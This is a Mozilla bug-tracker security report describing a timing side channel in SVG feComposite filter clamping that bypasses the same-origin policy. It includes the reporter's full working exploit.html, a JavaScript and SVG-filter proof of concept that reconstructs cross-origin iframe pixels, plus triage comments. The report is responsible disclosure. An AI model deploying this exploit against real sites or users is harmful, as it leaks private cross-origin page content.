1248315 - Security: Timing attack on SVG feComposite filter circumvents same-origin policy

Reporter

Description

•

8 years ago

Attached file exploit.html (note that the -webkit-filter styles here have zero effect in Firefox release builds) — Details

Using the SVG feComposite filter may produce intermediate pixel color values outside of the normal 0-255 byte range, hence the intermediate values get clamped between the right values. However, the time required to perform clamping is not independent of the intermediate color value, because the number of comparison statements traversed is different. This allows an attacker to differentiate between values smaller than zero, and values in the range of 0-255. Because the filter can be applied to sources from other origins, such as iframes, this allows an attacker to read the contents of sources with a different origin.

An exploit is attached: exploit.html, it reads a character from example.com.

The exploit performs the computations of feComposite so many times that the difference becomes measurable by JavaScript, and thus an original image can be reconstructed. The timing is of course very noisy so the provided exploit doesn't reconstruct the image perfectly, however the exploit could of course be improved to produce a better image. My results show approximately 75% correct pixels which is significantly better than a random function of 50%.

Despite the exploit showing a very slow reconstruction of a single character, this is only a proof of concept. An actual exploit would be better because it could look at certain defining pixels instead of entire characters (or combinations of pixels acquired by applying filters). This way every pixel reconstructed leaks exactly 1 bit of information.

I performed the exploit a couple of times and the results and analysis are attached in the attached image results.png

Khalil Zhani

Reporter

Comment 1

•

8 years ago

Attached image results.png — Details

:Gijs (he/him)

Comment 2

•

8 years ago

Do you know what webkit/blink do in this case?

Group: firefox-core-security → core-security

Component: General → SVG

Flags: needinfo?(chromium.khalil)

Product: Firefox → Core

Comment hidden (typo)

Comment on attachment 8719367 [details]
exploit.html (note that the -webkit-filter styles here have zero effect in Firefox release builds)

<html>
<head>
<script>
/*******************************************************************************
 * We perform a timing attack, differentiating on the time it takes to perform
 * svg composite arithmetic operations on differently colored pixels. For each
 * pixel we perform this computation many times, and then repeat the process
 * for the same pixel with inverted colors. Because computation on white pixels
 * takes longest, we know that the slowest computations were performed when the
 * pixel was white.
 * 
 * We call functions using setTimeout(function(){...}, 0); to ensure the browser
 * has time to do whatever it needs to do to not interrupt the javascript later.
 *
 * We have multiple factors increasing the number of times the computations are
 * done, this is to prevent the browser from intervening the computations. At
 * the lowest level we use the #switchAndSpread filter to increase the number of
 * pixels with the target color to apply the computations to.
 *
 * Furthermore, the attackRepeatedly() function increases the computation factor
 * by 31, and the measure() function increases it by measurementsMax (250)
 *
 * Increasing measurementsMax increases accuracy but also the time required.
 ******************************************************************************/
 
var measurementsTotal, lastMeasurements;
var measurementsCount = 0;
var measurementsMax = 250; //number of times to run measure() for each pixel
var output, output2;
//determines target to analyse.
//dimensions of reference frame are actually hardcoded in HTML.
var targetX, targetY, targetWidth, targetHeight;
var currentX, currentY;
//single line array with two positions per pixel. 1st is normal, 2nd inverted.
var measurements;
var reconstructionCanvas, reconstruction;
var switchedAnalysis = true; //initial state.

//initialize the exploit
function init() {
        output = document.getElementById("output");
        output2 = document.getElementById("output2");
        reconstructionCanvas = document.getElementById("reconstruction");
        setTarget(-151, -110, 7, 9); //example.com
        reconstructionCanvas.setAttribute("width", targetWidth);
        reconstructionCanvas.setAttribute("height", targetHeight);
        reconstruction = reconstructionCanvas.getContext("2d");
        measurements = new Array(targetWidth*targetHeight*2);
        for (var i = targetWidth*targetHeight*2-1; i>=0; --i) {
                measurements[i] = 0;
        }
        
        analyseTarget();
}

//basic building block of our measurements
//times a number of iterations where the differentation filter is applied
//i can't be too large, as noise will increase
//-moz-transform:rotateZ(0deg) and c.offsetHeight are in the loop to
//ensure style computation between timing events.
function attackRepeatedly() {
        var end, s, i, c;
        i = 31;
        c = document.getElementById("container");
        s = new Date();
        while(--i>=0) {
                c.setAttribute("style",
                 "-moz-filter:url(#differentiate);-moz-transform:rotateZ(0deg);");
                c.offsetHeight;
                c.setAttribute("style","");
                c.offsetHeight;
        }
        end = new Date();
        lastMeasurements = (end.getTime()-s.getTime());
}

//calls attackRepeatedly(), measurementsMax times.
//will update reconstruction and move to next pixel when done.
function measure() {
        if (measurementsCount == 0) {
                measurementsTotal = 0;
        }
        attackRepeatedly();
        measurementsTotal += lastMeasurements;
        if (++measurementsCount < measurementsMax) {
                setTimeout(function(){ measure(); }, 0);
        } else {
                measurementsCount = 0;
                updateMeasurements();
                setTimeout(function(){ analyseTarget(); }, 0);
        }
}

//updates the reconstruction with latest measurements
function updateMeasurements() {
        var index = (currentX + currentY*targetWidth)*2;
        measurements[index + (switchedAnalysis?1:0)] += measurementsTotal;
        if (switchedAnalysis) {
                reconstructTarget(currentX, currentY, (measurements[index] > measurements[index+1])?1:0);
        }
}

//supplies the pixels in correct order and form to the measure function
function analyseTarget() {
        switchedAnalysis = !switchedAnalysis;
        var inverter = document.getElementById("inverter");
        if (switchedAnalysis) { //case: last analysis wasn't switched, so now measure inverse
                inverter.setAttribute("class","inverted");
                setTimeout(function(){ measure(); }, 0);
        } else if (nextPixel()) { //case: last analysis was switched, so execute nextPixel()
                inverter.setAttribute("class","");
                setTimeout(function(){ measure(); }, 0);
        }
}

//draws a pixel on the reconstruction canvas
function reconstructTarget(x,y,white) {
        var color = ""+(Math.round(white*255)).toString(16);
        var colorTemplate = "00" + color;
    var formattedColor = colorTemplate.substr(colorTemplate.length-2);
        reconstruction.fillStyle = "#"+formattedColor+formattedColor+formattedColor;
        reconstruction.fillRect(x,y,1,1); 
}

//sets the target space
function setTarget(x, y, width, height) {
        targetX=x;
        targetY=y;
        targetWidth=width;
        targetHeight=height;
        currentX=-1;
        currentY=0;
        ref = document.getElementById("referenceFrame");
        ref.setAttribute("style","top: "+(targetY-2)+"px; left: "+(targetX-2)+"px;");
}

//runs over pixels in target
//returns true once the function has completed
function nextPixel() {
        if (++currentX >= targetWidth) {
                currentX = 0;
                ++currentY;
        }
        frame.setAttribute("style","top: "+(targetY-currentY-2)+"px; left: "+(targetX-currentX-2)+"px;");
        return (currentY < targetHeight);
}

</script>
<style>
#container {
        position: relative;
        width: 1000px;
        height: 1000px;
        opacity: 0.01;
        -moz-filter: url(#switchAndSpread);
}

.inverted {
        -moz-filter: url(#inverseBlackWhite);
}

.frame {
        position: absolute;
        width: 500px;
        height: 500px;
}
</style>
</head>
<body onload="init();"><!-- start the exploit once page has loaded -->

<!-- the svg containing the filters used for the attack -->
<svg style="position: absolute; height: 0; width: 0;">
<!-- differentiation between pixels by arithmetics, this filter gets timed -->
<filter id="differentiate">
 <feComposite in="SourceGraphic" in2="SourceGraphic"
  operator="arithmetic" k2="-0.5" k3="1"/>
</filter>

<!-- inverses the color-->
<filter id="inverseBlackWhite">
 <feColorMatrix type="matrix"
     values="-1 0 0 0 1
                         0 -1 0 0 1
                         0 0 -1 0 1
                         0 0 0  0 1 "/>
</filter>

<!-- switches black/white between 797979/7A7A7A
         black will be transparent, white opaque
     spreads out the pixel by tiling -->
<filter id="switchAndSpread">
 <feColorMatrix type="matrix"
     values="0.34 0.34 0.34 0 0.125
                         0.34 0.34 0.34 0 0.125
                         0.34 0.34 0.34 0 0.125
                         0.34 0.34 0.34 0 0.125" x="0" y="0" width="1" height="1"/>
 <feComponentTransfer>
    <feFuncR type="discrete" tableValues="0,1"/>
    <feFuncG type="discrete" tableValues="0,1"/>
    <feFuncB type="discrete" tableValues="0,1"/>
    <feFuncA type="discrete" tableValues="0,1"/>
 </feComponentTransfer>
<feTile x="0" y="0" width="1000" height="1000"/>
</filter>

<!-- morphs the pixels of the original picture to create a reference image
         so we can compare the reconstruction to what was analyzed-->
<filter id="referencePicture">
 <feColorMatrix type="matrix"
     values="0.34 0.34 0.34 0 0.125
                         0.34 0.34 0.34 0 0.125
                         0.34 0.34 0.34 0 0.125
                         0    0    0    0 1"/>
 <feComponentTransfer>
    <feFuncR type="discrete" tableValues="0,1"/>
    <feFuncG type="discrete" tableValues="0,1"/>
    <feFuncB type="discrete" tableValues="0,1"/>
 </feComponentTransfer>
</filter>
</svg>

<!-- just a bunch of containers containing the actual target -->
<div id="backgroundFrame" style="position: absolute; z-index:-1; width: 1000px; height: 1000px;">
                <div id="container" class="" style="">
                        <div id="inverter" class="" style="position: absolute; overflow: hidden; width:1px; height:1px; background-color:white;">
                                <iframe src="https://example.com/" style="top: 0px; left: 0px;" id="frame" class="frame"></iframe>
                        </div>
                </div>
</div>

<!-- the reconstruction and reference images -->
<div id="reconstructionDiv" style="">Reconstruction / Reference<br />
        <canvas id="reconstruction" style="border:1px solid #000000; background-color:#AAAAAA"></canvas>
        <span style="border: 1px solid #000000; position:absolute; overflow:hidden; background-color:white; width:7px; height:9px; -moz-filter: url(#referencePicture);">
                <iframe src="https://example.com/" class="frame" id="referenceFrame"></iframe>
        </span>
</div>
<div style="width:500px">Do not zoom the page while reconstruction is ongoing, this will result in improper reconstruction. The best way to compare images is to make a screenshot after the reconstruction is complete, and then zoom into the screenshot.</div>
<div id="output"></div>
</body>
</html>

Khalil Zhani

Reporter

Comment 4

•

8 years ago

Oops sorry I uploaded the wrong testcase.

Matt Wobensmith [:mwobensmith][:matt:]

Updated

•

8 years ago

Keywords: sec-moderate

Daniel Veditz [:dveditz]

Updated

•

8 years ago

Group: core-security → layout-core-security

exploit.html (note that the -webkit-filter styles here have zero effect in Firefox release builds) 8 years ago Khalil Zhani 8.65 KB, text/html		Details
results.png 8 years ago Khalil Zhani 6.35 KB, image/png		Details
screenshot.png 8 years ago Khalil Zhani 38.84 KB, image/png		Details
result.png 8 years ago Khalil Zhani 24.45 KB, image/png		Details
exploit, modified to remove -webkit prefixes 8 years ago Daniel Holbert [:dholbert] 8.37 KB, text/html		Details
screenshot of Firefox Release (left) vs Nightly (right) after 20 minutes of viewing modified exploit.html 8 years ago Daniel Holbert [:dholbert] 52.06 KB, image/png		Details